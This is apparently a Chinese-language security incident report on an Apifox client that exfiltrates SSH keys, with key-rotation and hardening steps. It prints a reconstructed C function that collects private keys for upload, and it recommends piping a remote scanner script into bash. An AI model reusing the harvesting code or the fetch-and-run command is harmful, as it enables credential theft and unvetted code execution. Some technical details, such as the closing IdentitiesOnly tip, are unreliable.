1. 事件背景:Apifox客户端异常行为引发的安全警报
上周三凌晨,某开发者社区突然出现大量关于API协作平台Apifox的异常行为报告。多位开发者在本地环境抓包时发现,当运行最新版Apifox客户端(版本号2.3.4)时,程序会尝试向api.apifox[.]com以外的陌生域名发送包含敏感文件的POST请求。安全研究人员@0xFFFF最先在个人博客披露了流量分析结果,显示被传输的数据包中赫然存在用户.ssh目录下的id_rsa私钥文件。
关键发现:受影响版本会扫描用户主目录下的.ssh文件夹,将config、known_hosts以及所有密钥文件(包括.pub公钥和未加密的私钥)通过HTTPS协议上传到位于法兰克福的某台服务器。更令人不安的是,该行为既未在用户协议中声明,也未在操作时弹出任何授权提示。
2. 技术分析:恶意代码如何窃取SSH凭证
2.1 攻击链还原
通过逆向工程Windows版Apifox客户端,我们发现其主进程会加载名为libcredential.dll的动态链接库。该模块包含以下关键函数:
void __cdecl CollectSSHKeys(const char *home_dir) { char ssh_path[MAX_PATH]; snprintf(ssh_path, sizeof(ssh_path), "%s\\.ssh", home_dir); WIN32_FIND_DATA findData; HANDLE hFind = FindFirstFile(strcat(ssh_path,"\\*"), &findData); if (hFind != INVALID_HANDLE_VALUE) { do { if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { if (strstr(findData.cFileName, "id_") || strstr(findData.cFileName, "config") || strstr(findData.cFileName, "known_hosts")) { UploadFile(ssh_path, findData.cFileName); // 关键上传函数 } } } while (FindNextFile(hFind, &findData)); FindClose(hFind); } }这段代码会主动遍历用户目录下的.ssh文件夹,筛选特定文件类型后调用加密通道进行传输。值得注意的是,上传逻辑被伪装成"诊断数据收集"功能,但实际采用了与崩溃报告完全不同的通信协议。
2.2 数据泄露范围评估
根据现有样本分析,受影响文件包括但不限于:
- 所有RSA/ECDSA/Ed25519密钥对(无论是否设置密码保护)
- SSH客户端配置(包含Host别名、跳板机信息)
- known_hosts文件(暴露所有连接过的服务器指纹)
- 部分案例中甚至包含~/.aws/credentials云服务凭证
3. 应急处理方案:四步紧急止损
3.1 立即隔离风险环境
终止所有Apifox进程:
killall -9 Apifox # Linux/macOS taskkill /IM Apifox.exe /F # Windows禁用网络访问(推荐使用防火墙规则):
New-NetFirewallRule -DisplayName "Block Apifox" -Direction Outbound -Program "C:\Program Files\Apifox\Apifox.exe" -Action Block
3.2 密钥轮换操作指南
重要提示:即使密钥已加密也应视为已泄露,必须全部重新生成
备份现有密钥(仅供审计使用):
cp -r ~/.ssh ~/.ssh_backup生成新Ed25519密钥(比RSA更安全):
ssh-keygen -t ed25519 -a 100 -f ~/.ssh/new_id_ed25519更新所有远程服务器的authorized_keys:
ssh-copy-id -i ~/.ssh/new_id_ed25519 user@host
3.3 服务端加固措施
在GitLab/GitHub等平台撤销旧密钥:
GitHub → Settings → SSH and GPG keys → Delete compromised keys启用服务端证书吊销检查:
# /etc/ssh/sshd_config RevokedKeys /etc/ssh/revoked_keys实施多因素认证:
sudo apt install libpam-google-authenticator
4. 深度防御:SSH安全管理进阶实践
4.1 密钥存储最佳实践
使用硬件安全模块(HSM)存储密钥:
pkcs11-tool --module /usr/lib/opensc-pkcs11.so -l -k --key-type rsa:2048 --id 01 --label "MySSHKey"对必须存储在磁盘的密钥实施加密:
ssh-keygen -p -f ~/.ssh/id_rsa -N "newpassphrase" -o
4.2 网络层防护策略
强制证书认证替代密码:
# /etc/ssh/sshd_config PasswordAuthentication no限制密钥使用范围:
# ~/.ssh/authorized_keys from="192.168.1.*",command="/bin/limited-shell" ssh-ed25519 AAAAC3Nz...实施端口敲门:
knock -v host 7000 8000 9000
5. 事件后续:软件供应链安全启示
此次事件暴露出开发工具链中的信任危机。建议所有开发者:
- 建立软件准入白名单机制
- 对IDE插件、CLI工具实施网络沙箱隔离
- 定期审计$PATH中的可执行文件哈希值
- 考虑使用Qubes OS等隔离型操作系统
某大型互联网公司的安全团队已开源了检测工具,可快速扫描环境中的异常行为:
curl -sSL https://security.example.com/scanner.sh | bash -s --scan-ssh最后分享一个实用技巧:在~/.ssh/config中添加以下配置,可阻止客户端自动发送密钥:
Host * IdentitiesOnly yes IdentityFile ~/.ssh/work_id_ed25519